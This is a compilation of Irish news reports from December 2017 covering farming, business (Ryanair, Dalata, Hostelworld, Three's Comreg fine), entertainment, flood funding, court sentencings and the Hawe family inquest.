The bottom line in relation to the performance of my cattle this summer was that they made on average about 20 per head more than last year. This resulted from marginally higher carcase weights and a five cent improvement in their selling price.

The buying-in price of my stores was up about 50 on last year but as they have come in about eight kg heavier than last year's stores this should help when I go to sell them next year.

Of course buying-in store cattle is a hugely important part of my farming system.

Initially I found that stores were quite expensive especially in the August/September period but prices tended to ease somewhat as we moved towards October/November.

Thankfully the earlier bought-in stores have done very well and appear to have put on enough live weight to more than compensate for their higher buying-in price.

The oldest of my stores are in the shed nearly a month now and appear to be doing well.

Currently I am putting in the last few stragglers who are showing no ill effects of the harsh weather.

As this is my last report for 2017, I would like to take the opportunity to wish all our readers a happy Christmas and a peaceful and prosperous New Year.

John Heney farms in Kilfeacle, Co Tipperary
THE proposed Brexit deal may save Irish dairy processors over 160m.

Thats the tariff that could have been levied on Irish Cheddar cheese exports to Britain under WTO rules.

The seriousness of the threat to the dairy sector was confirmed by Dairygold CEO Jim Woulfe at a regional meeting in Cork last week.

He told suppliers that the imposition of WTO tariffs on the co-ops Cheddar sales in Britain would cost farmers 4c/l across the total milk pool.

The Irish Dairy Industries Association (IDIA) puts total Cheddar production at 185,000 tonnes, 172,000 tonnes of which is exported. Around 56pc of Cheddar exports, or 97,000 tonnes, are sold on the British market.

Total Cheddar exports are worth 465m, with sales to Britain valued at 260m. Growing food nationalisation has pushed the vast bulk of the Irish Cheddar sales in Britain on to the service sector.

Punitive

Despite this trend, the British market remains a critical one for Cheddar sales and an IDIA analysis put the cost of punitive WTO tariffs at 400/tonne.

If Ireland was to maintain its market share in Britain, this tariff would have to be carried by suppliers and would result in a cost 400/tonne on the 97,000 tonnes shipped to Britain, or over 160m.

Although the IDIA accepts that events over the last week make the prospect of the UK remaining in the EU customs union more likely, it is still planning for the possibility of a hard Brexit.

The industry is therefore working with State agencies to reduce its dependence on Cheddar.

A strategic plan for the expansion of overseas markets is understood to be in the pipeline.

Milk processors are also assessing the potential to diversify infrastructure and adapt facilities for new cheese products.
Ireland's largest hotel operator, Dalata Hotel Group, is to open 1,281 rooms across the UK and Ireland in 2018 as it continues its expansion.

In its trading update today, the group behind the Maldron and Clayton hotels said that it expects its 2017 earnings to be in line with market expectations, with Davy analysts forecasting earnings of 102.5m at the group - an increase of 20pc year-on-year.

The hotel groups performance was particularly strong in Dublin this year, with its revenue per room up 9.5pc for the year to-date.

Dalata also experienced strong growth outside of Dublin, with its regional Ireland portfolio recording an increase of 8.7pc in revenue per room for the 11 months to the end of November.

In Ireland, Dalata has confirmed the acquisitions of 62 rooms at Clayton Hotel Cardiff Lane for 8.7m and a further 18 rooms at Clayton Hotel Liffey Valley for 2m, in line with its strategy to buy out remaining freehold interest.

These transactions will result in Dalata owning 252 out of a total of 304 bedrooms in Clayton Hotel Cardiff Lane, and 261 out of a total of 361 bedrooms in Clayton Hotel Liffey Valley.

Meanwhile in the UK, Dalata has signed a 35-year lease agreement with McAleer and Rush for a new 250 room Maldron hotel in the centre of Glasgow. This adds to its recently announced 300 room Clayton Hotel for Glasgow that is expected to open in second half of 2020.

Commenting on the trading update, Dermot Crowley, deputy CEO at Dalata described 2017 as a "very successful year for Dalata in terms of trading at our existing hotels, the acquisition of new hotels and building up a development pipeline in the UK."

"Given the pipeline of hotels due to open in the next year and the continued strength of trading in our three regions, we look forward to 2018 with confidence," Mr Crowley said.
A framework has been set up to fast-track negotiations between Ryanair and IMPACT but the union is 'disappointed' at the lack of written collective agreement by management recognising the union.

Eddie Wilson, Chief People Officer for Ryanair said today's negotiations have ended on a positive note.

He also denied allegations of victimisation and said the atmosphere today between both sides was "very good."

However, IMPACT Head of Communications Bernard Harbor, said the union was disappointed that it did not receive written guarantees of recognition from Ryanair.

Mr Harbor told RTE News that the union needed something concrete from management to show Ryanair pilots and the wider public that they really do mean business.

He added that today was not the day to talk about industrial action.

Mr Harbor said that a conclusion would need to be met before noon on Thursday.

Talks between Ryanair and the Impact union on a new working relationship began at 5pm today at Dublin Airport.

Initial talks between the airline and the trade union in coming weeks will seek to establish a framework for union representation at the carrier. Only once this has been agreed on will talks begin in earnest about pilot demands.

Talks will continue tomorrow and Thursday between the airline and trade union members from Germany and Portugal.

Impacts negotiating team includes national secretary Angela Kirk, assistant general secretary Ashley Connolly, as well as about half a dozen Ryanair pilots.

Ryanairs team includes chief operations officer Peter Bellew and its chief people officer, Eddie Wilson.

While tomorrows strike has been called off, preventing future industrial action will depend on todays talks securing meaningful dialogue between both sides.

Earlier today, Ryanair moved to clarify that it will recognise cabin crew unions and other EU pilot unions in 2018.

In a statement the company said that as per their historic decision to recognise unions for the first time, which was announced last Friday, they will look to meet with other unions "in due course".

"Ryanair is moving to recognise unions, starting this week with meetings with Irish, German and Portuguese pilot unions. It will lead on in the New Year to meetings with other EU pilot unions and cabin crew unions in due course as well," the company said today.
Online hostel booking business Hostelworld has announced that its chief financial officer Mari Hurley is to step down to "pursue a new opportunity outside the group".

Ms Hurley will leave Hostelworld during the first half of 2018.

The search for Ms Hurleys replacement is currently underway, and the company said that a further announcement on the matter would be made in due course.

Ms Hurley has worked with the company for over ten years and was involved in the companys joint listing on the London Stock Exchange and Irish Stock Exchange in 2015.

Commenting on Ms Hurleys decision to leave the company, Feargal Mooney, chief executive officer at Hostelworld thanked her for her "significant contribution" to the company over her many years with the group.

"The board wishes Mari well for the future and I look forward to continuing to work with her over the coming months as we appoint a successor," Mr Mooney said.

Hostelworld also noted that it expects its results for the year ended 31 December 2017 to be in line with its expectations and that it intends to release its pre-close trading update on 24 January.

According to Davy forecasts, revenue at the group for the year should be around the 86m mark, while Davy expects the groups adjusted earnings before interest, taxation, depreciation, and amortisation to be around 25.5m, an increase of 6pc year-on-year.
Merrion Stockbrokers discovered breaches in its fitness and probity regime as far back as 2015 - a year before the Central Bank embarked on its own investigation, which yesterday saw the boutique firm fined 200,000.

The decision marks the first time the financial watchdog has penalised a company for allowing employees to undertake certain roles without ensuring they comply with regulatory standards

It is understood Merrion's previous management had complied with the firm's internal fitness and probity policies, established in 2010.

But five years later - and in the wake of a management buy-out that resulted in a new board - a number of compliance breaches were uncovered.

Merrion has admitted to the breaches, which occurred in the four years from 2011 to 2014. The sanction underscores the scale of the challenge facing financial companies as compliance regimes become ever more complex and onerous.

The Central Bank said that Merrion failed to introduce adequate systems or procedures to ensure compliance with section 21 of the 2010 Act. It also failed to take reasonable steps to satisfy itself that its CFs (individuals in influential and customer-facing roles) and PCFs (the most significant CFs, dealing with pre-approval controlled functions) complied with the Fitness and Probity (F&P) standards.

"The F&P regime was introduced in the wake of the financial crisis because of the need to ensure that the right individuals were working in the financial services sector and that those individuals would be held accountable if their conduct fell below the expected standards," the Central Bank's Head of Enforcement Investigations, Brenda O'Neill, said.

"Under the F&P regime, the Central Bank acts as a gatekeeper for individuals in senior positions at supervised firms, known as pre-approval controlled functions.

"Importantly, however, it is firms who have the ultimate responsibility for ensuring that the wider population of individuals working in financial services, namely those in controlled functions, are suitable.

"This is an obligation that firms have when appointing individuals to roles," she added.

While the timing of the sanction comes as most financial firms assess employee bonus payments for 2017, it is understood Merrion had budgeted for the fine.

Meanwhile, the Irish-based life insurance arm of Italian bank Generali has been acquired by Utmost Wealth Solutions - a subsidiary of Life Company Consolidation Group - for up to 240m. The combined business creates a wealth-management company with over 24bn in client assets.
Ryanair shares slumped more than 4pc at one stage yesterday, bringing the total decline in its market capitalisation to more than 2.4bn in just two days of trading.

Davy Stockbrokers cut its price target on Ryanair shares to 17, but they sank to 14.30 in early trading.

They recovered somewhat later in the session, to finish the day about 2pc lower. They were down 3.2pc in post-trading, however. More than 2bn has been cut from Ryanair's market capitalisation since last Thursday.

The precipitous decline in the shares began on Friday after the airline dramatically announced that it will recognise unions, reversing a 32-year practice of keeping the door firmly shut on organised labour.

Its shares slumped 9pc that day.

The airline and trade union Impact are set to begin talks this evening - a move that saw the union suspend a 24-hour strike by some staff Ryanair pilots that was due to begin this evening at Dublin Airport.

That meeting will seek to establish dialogue between the sides, which will focus initially on creating a framework for pilot representation at the airline.

Despite the share decline, Davy - Ryanair's own house broker - said that it still expects management to continue executing on its strategy to deliver 200 million passengers a year by 2024, when it will have a fleet of about 600 aircraft.

It currently has about 400 jets.

Davy analyst Stephen Furlong said Ryanair's acceptance of unions "should de-risk, to some extent, industrial relations strife and the summer booking curve should build".

JP Morgan analyst Christopher Combe also said that he believed the market reaction to unionisation "appears overdone". Ryanair has been offering a number of seat sales since its rostering fiasco in September that saw it cancel thousands of flights and ground some aircraft into next year.

The airline's chief executive, Michael O'Leary, indicated to pilots last Friday that the unionisation of Ryanair could also help the airline expand in the longer term in countries including France and Denmark.

Mr O'Leary is also one of Ryanair's single largest shareholders, with almost a 4pc holding.

"The 1.5bn taken off Ryanair's valuation following the announcement of its agreement to recognise unions clearly reflects market surprise and uncertainty," said Mr Furlong.

He said that while Davy was cutting its price target to 17 from 20, it was maintaining its 'outperform' rating on the airline's shares.

"We expect this management team, which built an 18bn-plus market capitalisation business, to continue to execute on the strategy to deliver 200 million passengers on circa 600 aircraft by full-year 2024 at the industry's leading cost base and returns," added Mr Furlong.

Mr Furlong pointed out that Ryanair's cost of 27 per passenger, excluding fuel, is about 50pc lower than that of Easyjet's, but that staff costs only account for 4 of the difference in the figure. He said that shows Ryanair still has a "significant cost advantage".

"We do not see this equalising as it is largely productivity driven," Mr Furlong pointed out.

He said that those productivity advantages include Ryanair's regional mix of bases, flying larger aircraft than Easyjet, and the latter's level of primary airport exposure.

He added that Davy's forecasts already assume that Ryanair's labour costs will rise to 6 per passenger in the next full financial year, an increase of about 100m.
Starbucks' seasonal lattes are proving to be a source of inspiration for Irish cream liqueur companies keen to tap into upcoming flavour zeitgeists.

This year, award-winning Merrys Cream Liqueur launched its spiced pumpkin flavour following the success of its salted caramel, toffee buttermint, and white chocolate offerings. Peter Cooney, the export director of Merrys, says Starbucks is hugely influential in establishing global trend profiles and forecasting future ones.

"Especially when it comes to desserts or dessert-related products," he said. The Dungarvan, Co Waterford, company, which was established 22 years ago, has seen a 25pc increase in sales of its cream liqueur in the past 12 months.

It is reflective of a distinct shift in the spirits industry; global sales of Irish cream liqueur are on the brink of breaking the 100 million bottles mark for the first time this year after a "lost decade".

Between 2012 and 2016 sales of Irish cream liqueur in Ireland declined by 11.2pc, from 108,000 cases to 95,900 cases. However, latest figures from Nielson show the value of cream sales in the off-trade sector have increased by 3.4pc during 2017.

Many producers believe the change is partially due to a shift in perception of the drink itself.

Cream liqueurs used to be synonymous with Christmas time, firesides and old dears.

But the image of the drink has been revamped - largely thanks to Baileys. In the past decade, it has chased the female millennial market with ad campaigns showing 20 somethings drinking liqueur at brunch, and in bars.

It has also sought to highlight the versatility of the drink. For example, the 2017 Christmas ad shows a Baileys being served in a chocolate reindeer.

According to Carl Keenan, from Terra Spirits and Liqueurs, which produces Molly's Irish Cream, the tipple has now moved "from the fireside to the bar".

"There was a misconception that cream liqueurs were just an after-dinner, cosy winter drink," he said.

"But now people drink at bars and in cocktails."

The drinks accessibility is another reason for it's popularity. That swirling decadent, velvety lushness makes it instantly palatable.

"Cream liqueur combines two things Ireland excels at," Mr Cooney said. "Dairy and whiskey."

As the drink increases in popularity so too does the demand for a craft version.

Cork-based Five Farms produces Ireland's first 'farm-to-table Irish cream liqueur' crafted from single batches of fresh cream that are combined with whiskey within 48 hours of collection.
If youre a Three customer, you may be due a refund or permission to leave your contract early without penalty.

Irelands second largest mobile company has been fined 575,000 by the telecoms watchdog Comreg for messing up contract changes to 1.3m customers earlier this year.

The company didnt convey the changes properly, while an 1800 telephone number it set up to deal with it wasnt adequately manned.

"There was a failure by Three to properly advise its customers of the nature of the contract changes proposed," said Comregs enforcement notice.

"And to adequately facilitate their right to exit their contracts without penalty, after being notified of the proposed contractual changes."

That meant that some people who were dissatisfied with the service could not leave without paying a big early termination fee or switching to a more suitable package within Three itself.

Comreg also found that Three unfairly stopped people from trying to switch operators when they knew there was a problem.

"There was a failure by Three to ensure that its conditions and procedures for contract termination did not act as a disincentive to consumers changing service provider," said the regulator.

A spokeswoman for Three said that it had "been in discussions with ComReg about how we communicated and implemented changes to some customers contracts earlier this year".

She said: "steps have now been put in place to avoid similar issues in the future".

Comreg says that the operator has now pledged:

- its customers will be able to notify Three of their cancellation request by phone, post, online chat, or by visiting a retail store and Three will promptly confirm such cancellation requests using the same channel of communication

- its call centres will be fully resourced to deal with all expected call volumes on foot of any contract change notifications issued by Three

- to refund any customer that was charged an early termination fee or any other penalty as a result of withdrawal from their contract within the Regulation 14 Window of time (30 days)

- to re-notifiy certain customers of their contract changes that came into effect on 3 April 2017 and advised the customers of their right to withdraw without penalty if they did not wish to accept the changes

- to contact all customers that it could identify that tried and were unable to contact Three on the 1800 number provided in their contract change notification. In these cases, Three committed to remedy the situation to their customers satisfaction, including offering them 30 days to exit their contract without penalty, said Comreg.
Twitter has begun a "purge" of users, with new rules banning people who are deemed to condone hate speech, incite violence or are otherwise connected with organisations adjudged to be objectionable by Twitter moderators.

One early casualty of the new policy is the far-right 'Britain First' political party, whose leaders' accounts were suspended yesterday. The party's leader, Jayda Fransen, recently came to prominence after US President Donald Trump retweeted anti-Islam tweets she had posted.

However, despite retweeting the banned accounts' messages, President Trump is unlikely to be affected as the policy "does not apply to military or government entities".

Twitter also said it would make exceptions for those who are associated with organisations that advocate violence but who are also elected to national assemblies or parliaments.

A spokeswoman for Twitter could not confirm how many Irish accounts had been suspended or whether the purge had affected a significant number of Twitter users here. While the company said the move was an attempt to make the platform "safer", it was being interpreted by some right-wing political groups as an exercise in political streamlining.

"Twitter's terms of censorship change tomorrow, so I might not be here," right-wing National Party leader and anti-abortion activist Justin Barrett tweeted on Sunday.

However, Mr Barrett survived the first day of the cull.

Accounts will be considered for suspension when reported by other Twitter users.

However, the social network said it will also take into account the behaviour or conduct of Twitter users and their affiliated organisations outside the social media platform.

"Groups included in this policy will be those that identify as such or engage in activity - both on and off the platform - that promotes violence," said the company's policy guide.

Twitter has drawn criticism from competing political and social commentators, who charge the network with not adequately protecting users from harassment bias.
Disney World has finally reopened its Hall Of Presidents attraction, almost a year after it closed so that Donald Trump could be added.

The 45th president recorded audio for the animatronics display, just like each sitting president has done since the 1990s. But given that this is president Trump, the robot is receiving a lot of attention.

Mr Trump is introduced by George Washington, before reciting the oath of office. He then goes on to give what sounds like a very presidential speech.

Above all, to be an American is to be an optimist, to believe that we can always do better and that the best days of our great nation are still ahead of us, Robot Trump says.

But in all honesty its his face thats drawing the most attention, with pretty much everyone seemingly agreed that the model looks like actor John Voight.

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But its not just the Anaconda actor they think Robot Trump has a likeness to.

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Trumps old foe even gets a mention, and once you see it, it cant be unseen.

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While the expressions of the presidents behind Trump have also been scrutinised.

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Half An Onion In A Bag, that Twitter account of an onion that wants more followers than Trump, is certainly frightened.

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It will definitely make for an interesting school trip.
A new series of US version of The Office is in the works, whether you want it or not.

According to TVLine, NBC is eyeing up a tenth series of the sitcom set in the Scranton PA branch of Dunder Mifflin.

However, while it will reportedly feature a mix of familiar faces and new characters, Steve Carell will not return as Michael Scott.

He appeared in the first seven seasons but the final two continued without him, and were widely considered to be inferior without him. However, the finale saw a return to form.

Expand Close Rainn Wilson and Steve Carell stars of 'The American Office' celebrate 100 episodes. Photo: Getty Images / Facebook

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The new revival is expected to air across 2018 and 2019 although no details have been confirmed by NBC.

The network's relaunch of Will & Grace proved a critical and commercial hit, and network president Bob Greenblatt told Deadline that The Office and 30 Rock were also on his revival radar.

He said he spoke to Greg Daniels four times over the past few years. The Office was adapted for the US from Ricky Gervais original UK series by Daniels, a writer for Saturday Night Live, King of the Hill, and The Simpsons.

Of those conversations with Daniels, Greenblatt said, "Its always, Maybe someday, but not now. There is certainly an open invitation, but we dont have anything happening right now. If he wants to do it, I would do it." he said.

However, Will & Grace returned with its complete original cast, something which will be lacking on The Office, according to reports.
Almost 8,000 homes are to be protected by new flood defences as part of a 260m announcement today, the Irish Independent understands.

A long-awaited study of at-risk areas will clear the way for 47 schemes across the country, including more than 55m for Limerick city and environs alone.

Cabinet ministers are due to sign-off on the Catchment Flood Risk Assessment and Management Study (CFRAMS) - but are to be warned that up to 1bn will be needed to ultimately protect the country from floods.

Flood Relief Minister Kevin 'Boxer' Moran and Finance Minister Paschal Donohoe have been working to prioritise locations for funding over recent months.

Co Louth is set to be one of the biggest winners, with 40m for Dundalk alone.

Another 16m has been assigned for Drogheda, while Carlingford/Greenore will get another 23m.

One of the largest individual allocations will go to Tralee, Co Kerry, which was affected by bad flooding in December 2015. It is expected to receive around 30m.

Sources also suggested the village of Castleconnell, Co Limerick, is in line for funding despite having been excluded from a draft version of the CFRAMS report. Earlier this month, Mr Moran visited the area which was severely affected by flooding in 2009.

Other areas understood to be included in the scheme are Galway city, Naas, Listowel, Castlefin, Leitrim, Ballina, Longford and Kilrush.

The money will become available to local authorities between 2018 and 2021.

"This is the first time ever that a list of priority flood zones will be published with the money to back it up," a source said.

"It's not enough money but it's a good start.

"Flooding is now as big an issue as footpaths and roads. People have suffered too much over the years."

Separate supports for communities affected by flood emergencies in Donegal and Laois in recent months are also to be made available.

As part of the CFRAMS project, which began in 2011, the OPW carried out extensive mapping of coastal regions and towns/villages built close to rivers.

There is some concern that the release of these maps will see homes that have never been affected by floods now being sited on designated "flood plains". This could have implications for insurance premiums.

Mr Moran has previously said there would be "positive news for towns around the country" when the plan is released, but acknowledged there may also be "some bad news". He wants insurance companies to work with homeowners where relief works have been carried out.

Meanwhile, the final Cabinet meeting of the year will also hear updates from Communications Minister Denis Naughten on the National Broadband Plan and Justice Minister Charlie Flanagan who will raise efforts to improve gender balance on State boards and address the gender pay gap.

Taoiseach Leo Varadkar is also expected to brief ministers on the work schedule and projects being planned for the strategic communications unit in 2018.
A controversial homeless hostel that had been opposed by Fine Gael TD Kate O'Connell when she was a councillor will finally open in the coming days.

The 30-bed facility on the site of the former Longfield's Hotel - once owned by Priory Hall developer Tom McFeely - will be run by the Simon Community as part of a Government plan to bring in an extra 200 beds for rough sleepers this month.

The project on Dublin's Fitzwilliam Street has had a difficult history. It was bought by Dublin City Council for almost 7m in 2007 amid plans to use the building for homeless accommodation.

The plans stalled during the economic crash and at least 1m was spent on security while the building lay empty.

When the project was revived there were dozens of objections, with one resident mounting an unsuccessful High Court action to block the plan.

Ms O'Connell was among local representatives opposed to the project when it came before them in 2015.

She said at the time that while she was in favour of beds for homeless people, the cost at Longfield's would be around 300,000 per bed. She was criticised by fellow councillors for describing homelessness as a "buzz issue".

Last night, she said she had used that term to describe the "heat" around the council discussion and in the context that long-term solutions were being lost in the "noise" of the debate.

She said it wasn't the location she had taken issue with, rather that there had been no net increase in beds in the original proposal and that close to 10m had been spent on a property that had been left idle for years.

She claimed homelessness campaigner Fr Peter McVerry supported her position at the time, agreeing "the council should focus on providing real housing solutions, not hostels".

Ms O'Connell still has concerns about the cost but said that if the hostel "takes one person off the street over Christmas, to my mind it's good news".

Taoiseach Leo Varadkar and Housing Minister Eoghan Murphy toured the facility yesterday. Mr Murphy said it was "disappointing" it had taken so long to open, but added: "It's going to really help a lot of people." He said people using the facility would have an option to stay for six months while they were helped to find permanent accommodation.
An Aer Lingus worker will be sentenced next February for helping illegal immigrants enter the country.

Today Frederick Cham (62) pleaded guilty at Dublin Circuit Criminal Court to two charges of organising or facilitating the entry into the State of a person who was an illegal immigrant or who was seeking asylum at Dublin Airport on December 29, 2016 and January 9, 2017.
A Dublin father and son with previous assault convictions both received suspended sentences for a vicious and unprovoked attack on two men outside a pub.

The court heard that both victims, a bar worker and a customer, required hospital treatment after the violent incident.

Noel Parsons (54) of Brookdene, Shanganagh Road, Killiney, and his son Craig Parsons (22), of Ballyogan Green, Carrickmines, both pleaded guilty at Dublin Circuit Criminal Court to assault causing harm at Brady's Pub, Shankill, Co Dublin on May 13, 2012.

Sentencing the defendants today, Judge Patrick Quinn described the attacks on William Kelly, a bartender at Brady's Pub in Shankill, and Ronan Mulcahy, a customer, as vicious and unprovoked.

The court heard that the defendants had recently lost a very close family member to a heroin overdose and were drinking in the pub when a row arose about an unfinished pint that was cleared away.

The altercation between the defendants and the bar worker spilled out to the roadside, leaving Mr Kelly with a bleeding bite to his left arm, which, Judge Quinn said, caused him excruciating pain.

Mr Mulcahy was leaving the pub when he saw the fight and intervened, coming to Mr Kelly's assistance.

He was punched and kicked by the defendants, and required six stitches to his forehead following the incident.

Cathal McGreal BL, defending Noel Parsons, told the court that the father-of-four was in a bad place on the night of the incident, describing him as a non-drinker who was drinking.

He said his client suffered from diabetes and depression and had suffered two strokes this year.

Mr McGreal said Noel Parsons, who previously worked as a groundsman at Croke Park, had brought 800 to court by way of compensation for the victims.

Sentencing this defendant, Judge Quinn noted his various debilitating medical conditions and the fact he was grieving at the time of the assault.

He referred to a letter provided by the mother of the defendant's children, wherein she said they love him and call him The King.

Judge Quinn sentenced him to two years in prison, suspended for two years, and ordered that he pay 800 in compensation to the victims.

Justin McQuade BL, defending Craig Parsons, handed in character reference given by a manager at Donnybrook Fair, where his client had worked for the past four years.

Sentencing Craig Parsons, Judge Quinn said the defendant may not have been involved in the altercation if his father had not initiated it.

He noted that the Craig Parsons, a father-of-one, was on a two year suspended sentence for assault at the time he committed this offence.

However, he said the defendant had not come to garda attention in the five years since this incident, had recently buried his brother and was still a young man.

Judge Quinn described the testimonial from his employers as a glowing report.

He also referred to a letter handed into the court by Craig Parson's fiancee, and noted she described him as kind, honest and loving.

Judge Quinn sentenced him to 18 months imprisonment, suspended for 18 months and ordered that he pay the 2,000 he had brought to court to the victims.

He remarked that the suspended sentence was on the basis that the defendant never come before the court again.
The grandmother of a protesting inmate was lifted up in a hoist to try to talk him down from a prison roof, a court has heard.

Eric Harcourt (22) climbed onto the roof of Cloverhill Prison using clothing that other prisoners had tossed up to prevent being injured from the razor wire.

He remained on the roof for hours with another inmate, Dean Byrne (25). Both inmates refused attempts from the prison negotiator and both their grandmothers to persuade them to come down.

Harcourt, of Belcamp Grove, Priorswood, Dublin pleaded guilty at Dublin Circuit Criminal Court to violent disorder at Cloverhill Prison, Clondalkin, Dublin on July 29, 2015.

Judge Martin Nolan said that Harcourt was an active participant in the violent disorder and said it was a good thing nobody was injured when he threw debris off the roof.

He imposed a six month sentence consecutive to Harcourt's current jail term, which is due to expire in April 2019.

Harcourt has 74 previous convictions and was on remand at the time for an offence of endangerment, for which he received a four and a half year jail term.

Detective Garda Donal Daly told Roisin Lacey SC, prosecuting, that the riot broke out in the prison yard after up to 64 inmates had been expressing disgruntlement about disciplinary matters.

He said a prison officer saw Harcourt helping to carry one of the yard's goal posts to a nearby observational hub, where it was used to smash the windows and rip razor wire off the roof.

Prison officers then saw Harcourt climb onto the roof and smash windows with a long metal pole.

Water hoses were deployed to prevent other prisoners climbing up. Det Gda Daly said Harcourt was seen throwing debris onto prison officers below and that he smashed an aerial that had been connected to a pipe.

Prison officers used hoists to get the negotiator and Harcourt's grandmother up to roof level in a bid to get him to come down once the violent disorder had abated.

Harcourt eventually descended at 1.30am after the riot had begun around 11am the previous day.

Det Gda Daly agreed with Ronan Munro SC, defending, that nothing happened on the roof for large periods of time after the violent disorder was resolved a few hours after it had begun.

He agreed that Harcourt, a father-of-one, had very low cognitive ability and was one of the youngest prisoners in the yard.

Mr Munro submitted to Judge Nolan that Harcourt had love and support from his family and girlfriend.

He asked the judge not to close the door completely on his client when passing the mandatory consecutive sentence.

Byrne, of Belcamp Crescent Priorswood, received a six month consecutive sentence for aiding and abetting violent disorder on the same date.
THE jury at the inquest into the deaths of five members of the Hawe family has found that Clodagh Hawe and her three sons were 'unlawfully killed' by Alan Hawe - before he killed himself.

His wife's relatives said outside the courtroom that the teacher (40) was concerned at the prospect of his marriage breaking up - but they did not feel the inquest addressed why he "committed this savagery".

He was also facing a "fall" from his position as a pillar of the community, his wife's family said.

The inquest in Cavan had earlier heard that the assistant school principal - who took his own life after killing his family in August 2016 - had been suffering from a severe mental illness.

On August 29 last year, Hawe killed his wife Clodagh (39), and then killed their sons Liam (13), Niall (11) and Ryan (6) in their home at Oakdene Downs, near Ballyjamesduff, Co Cavan.

Professor Harry Kennedy, a consultant forensic psychiatrist at the Central Mental Hospital, told the inquest earlier today that Hawe had progressed from a long standing depressive illness to a severe depressive episode with psychotic symptoms.

Expand Close Prof Harry Kennedy at the Inquest into the deaths of Hawe family at Cavan Court House. Pic: Mark Condren. / Facebook

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Whatsapp Prof Harry Kennedy at the Inquest into the deaths of Hawe family at Cavan Court House. Pic: Mark Condren.

Speaking outside the court this afternoon, a solicitor for Mary Coll and Jacqueline Connolly, Mrs Hawe's mother and sister, said Mr Hawe targeted his wife and eldest son first for fear they may fight back.

On the steps of the courthouse, lawyer Liam Keane said the killings were premeditated and calculated.

Flanked by the grief-stricken Mrs Coll and her surviving daughter Jacqueline Connolly, he said: "It is clear from the evidence presented at the inquest that Clodagh and her boys were killed in a sequence that ensured that the eldest and most likely to provide effective resistance were killed first, and they were executed in a manner that rendered them unable to cry out for help."

Mr Keane said the two-day hearing, which included harrowing evidence examining how the school teacher mother and her sons died, does not address why Alan Hawe "committed this savagery".

The solicitor referred to the psychotherapist David McConnell who held counselling sessions with Mr Hawe from March 15 to June 21 2016.

Expand Close Solicitor Liam Keane reads a statement on behalf of Clodagh Hawe's mother Mary Coll and sister Jacqueline Connolly after the Inquest into the deaths of Hawe family at Cavan Court House. Photo: Mark Condren. / Facebook

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Whatsapp Solicitor Liam Keane reads a statement on behalf of Clodagh Hawe's mother Mary Coll and sister Jacqueline Connolly after the Inquest into the deaths of Hawe family at Cavan Court House. Photo: Mark Condren.

"His counsellor has said that he was concerned about his position as a pillar of the community," Mr Keane said.

"We are aware that he was concerned at his imminent fall from that position and the breakdown of his marriage."

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Prof Kennedy had been asked by coroner Dr Mary Flanagan to give a post-mortem opinion on Alan Hawes mental state, working off the medical notes of his GP, the notes of his counsellor and of the suicide notes Hawe left behind, as well as the circumstances.

He said that from the GP notes it was clear that since 2008, Hawe had been troubled by anxieties about his health without much basis in reality and these seemed to be on his mind a lot of the time, he said.

He had attended the doctor on June 21 2016 complaining of being run down and of poor sleep and had developed "new odd somatic preoccupations", Dr Kennedy said under questioning by the coroner.

He also had ruminations or thoughts that go round and round in your head and scruples which were typical of an insidious worsening of major depressive illness, said Prof Kennedy.

Under questioning, he later said that, in depression, people often seize on some item which can become distorted and blown out of proportion.

The notes showed signs of a fixed false belief not influenced by the evidence of reality and a belief of some catastrophic or terrible event pending from which there is no recovery, he said.

There was no reference in the GP notes to the fact that Hawe was attending a counsellor and so the GP was at a disadvantage he said.

Asked later if this was the usual situation that the GP would not be informed of this, Professor Kennedy admitted: It probably is.

In his opinion, Prof Kennedy said it was much more likely than not that at the material time, Alan Hawe was suffering from a long-standing depressive illness which he categorised as severe depressive episodes with psychotic episodes.

Questioned by the jury, Professor Kennedy said there were other symptoms pointing to mental illness in this case, which pointed to depression  such as agitation, disturbance of sleep, worries over physical health, concerns of a lacking in self-confidence and issues concerning bad outcomes at work which appear to be entirely unrealistic".

However, Prof Kennedy warned that he was limited in his opinion because of the information available.

Later, he added that a clinician like himself is entirely dependant on the communicativeness of the other person  if a person chooses to hold things back or put a brave face on things, they cannot properly assess the situation, he said.

The coroner, Dr Mary Flanagan, today declined to disclose the content's of Hawe's suicide notes - although the notes were given to the jury.

Expand Close Clodagh Hawe with her sons Niall, Ryan and Liam on a holiday in Venice / Facebook

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Whatsapp Clodagh Hawe with her sons Niall, Ryan and Liam on a holiday in Venice

Dr Flanagan recommended to the jury that verdicts of unlawful killing into the deaths of Clodagh, Liam, Niall and Ryan were appropriate. A verdict of suicide was returned into the death of Alan Hawe.

There was a recommendation by the jury to raise awareness of mental health issues in the work environment.

The inquest had earlier heard from the Hawe family doctor who said that Alan Hawe was also concerned about a conflict that had started in his workplace.

Alan Hawe's parents, Stephen and Olive, released a statement following the verdict.

"Last August we received news no family should ever have to hear," they said.

"In one night we lost three beautiful grandchildren, a beloved daughter in law and our son Alan. Deaths dark door opened and we have struggled over the last 16 months to comprehend how this came to pass .

"We have had some light shed upon that darkness with the insight gained from thorough examination of the report of Prof Harry Kennedy and his opinion that Alan suffered from severe depressive illness . It does not make the pain and loss any easier for us .

"We thank all those who have taken the time in the last year to contact us with messages of support and prayer from all parts of the country, they have brought us great solace," they added.

The inquest into their deaths, which took place in Cavan town, earlier heard evidence from counsellor David McConnell, who Hawe had seen on 10 occasions from March to June 2016.

Mr McConnell said Hawe had never expressed suicidal thoughts or intent to harm himself or others.

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Whatsapp Alan Hawe with his wife Clodagh

Mr McConnell said he outlined to Hawe that if anything transpired during their sessions that would indicate he was going to harm himself or others then he would be duty bound to report them to authorities, but this never arose.

"Alan said that he had got a little bit down for a short period in his early 20s between college and starting work. I believe that he consulted his GP at this time but his mood recovered once he started work," he said.

"He also said that he had previously attended a marriage counsellor. At our first and subsequent sessions, Alan discussed issues that had been troubling him.

"His hope from the counselling was that family life would get back to the way it was. Throughout our sessions it was clear that Alan had placed a very high value on family life, on being a good husband and being a good father," said Mr McConnell.

"In our third counselling session I asked Alan if he had any suicidal thoughts and he said 'no'. Alan gave no intention of intent to harm himself or others," he added.

"At our last session Alan had arrived stressed and we talked through his difficulty in a supportive way.

"Alan then said 'people think of me as being a pillar of the community, if only they knew'. He wept as he said this," Mr McConnell explained.

"The stress for Alan appeared to be from the fear of shame of being seen as less than perfect," he added.

Alan then ceased further sessions with the counsellor, with his final session being on June 21 2016.

Mr McConnell said Mr Hawe gave no indication that he would harm himself or others.

Dr Paula McKevitt, the Hawe's family doctor, said Mr Hawe attended her surgery complaining about a sore toenail.

He also told her he had washed his feet in bleach.

The GP said he was a little stressed about work and had not been sleeping.

